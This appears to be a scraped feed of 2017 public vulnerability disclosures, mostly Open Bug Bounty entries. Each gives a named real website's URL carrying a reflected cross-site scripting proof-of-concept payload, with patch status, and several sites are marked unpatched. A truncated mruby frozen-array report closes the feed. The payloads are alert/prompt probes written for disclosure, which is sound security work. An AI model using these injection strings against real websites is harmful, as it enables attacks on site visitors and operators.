torcloud.pw XSS vulnerability

Vulnerable URL: http://torcloud.pw/search.php?q='"--!confirmOPENBUGBOUNTY...

spurofslindon.co.uk XSS vulnerability

Vulnerable URL: http://www.spurofslindon.co.uk/email.php?subject=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:54 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

ckcarsales.com XSS vulnerability

Vulnerable URL: http://www.ckcarsales.com/email.php?subject=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:54 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown ...

stockportmotorhouse.co.uk XSS vulnerability

Vulnerable URL: http://www.stockportmotorhouse.co.uk/email.php?subject=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:54 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...

kliccars.co.uk XSS vulnerability

Vulnerable URL: http://www.kliccars.co.uk/email.php?subject=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:54 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown ...

masonsmotorcompany.co.uk XSS vulnerability

Vulnerable URL: http://www.masonsmotorcompany.co.uk/email.php?subject=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:53 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...

j-c-m.co.uk XSS vulnerability

Vulnerable URL: http://www.j-c-m.co.uk/email.php?subject=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:53 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / N...

gkscarsales.co.uk XSS vulnerability

Vulnerable URL: http://www.gkscarsales.co.uk/email.php?subject=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

promotors.co.uk XSS vulnerability

Vulnerable URL: http://www.promotors.co.uk/email.php?subject=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:53 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1767331...

kmtcars.co.uk XSS vulnerability

Vulnerable URL: http://www.kmtcars.co.uk/email.php?subject=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:52 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7250408 V...

tavistockmotorco.co.uk XSS vulnerability

Vulnerable URL: http://www.tavistockmotorco.co.uk/email.php?subject=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:51 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

andrewsgarage.net XSS vulnerability

Vulnerable URL: http://www.andrewsgarage.net/email.php?subject=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:50 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

aworldofpoker.com XSS vulnerability

Vulnerable URL: http://www.aworldofpoker.com/casino.php?casino=4%27"--!' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3418696 VIP website status:| No Check aworldofpoker.com SSL...

atlantis-press.com XSS vulnerability

Vulnerable URL: http://www.atlantis-press.com/php/downloadpaper.php?id=25842419%27"--!confirmOPENBUGBOUNTY%3C/script /K/' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 334178 VIP...

thelcn.com XSS vulnerability

Vulnerable URL: http://www.thelcn.com/apps/pbcs.dll/search?q=OPENBUGBOUNTY";...

oposiciones.carm.es XSS vulnerability

Open Bug Bounty ID: OBB-204135 Description| Value ---|--- Affected Website:| oposiciones.carm.es Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

pacoesportes.com XSS vulnerability

Vulnerable URL: https://www.pacoesportes.com/affiliatepluswidget/index/widgetview/?accountid=3=light=%22%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

ru.tezenis.com XSS vulnerability

Vulnerable URL: https://ru.tezenis.com/catalog/restsearch.cmd?formstate=searchForm=OPENBUGBOUNTY Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:48 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown /...

pornotubes.mobi XSS vulnerability

Vulnerable URL: http://www.pornotubes.mobi/youporn/video.php?PORTALID=%22%3E%3Cimg%20src=x%20onerror=prompt%27OPENBUGBOUNTY%27%3E993 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

shopify-scripts: Clearing , Shifting and Pop Value from Frozen Array

Hey again! Founded another missing best practice in mruby. That allow an attacker to Delete pop or clear the Frozen ARRAY. This report is similar to 194866 POC === $a = 1,2,3,4,5.freeze $a.pop "= This will give 5 and $a will become 1,2,3,4" $a.shift "= This will give 1 and $a will become 2,3,4,5"...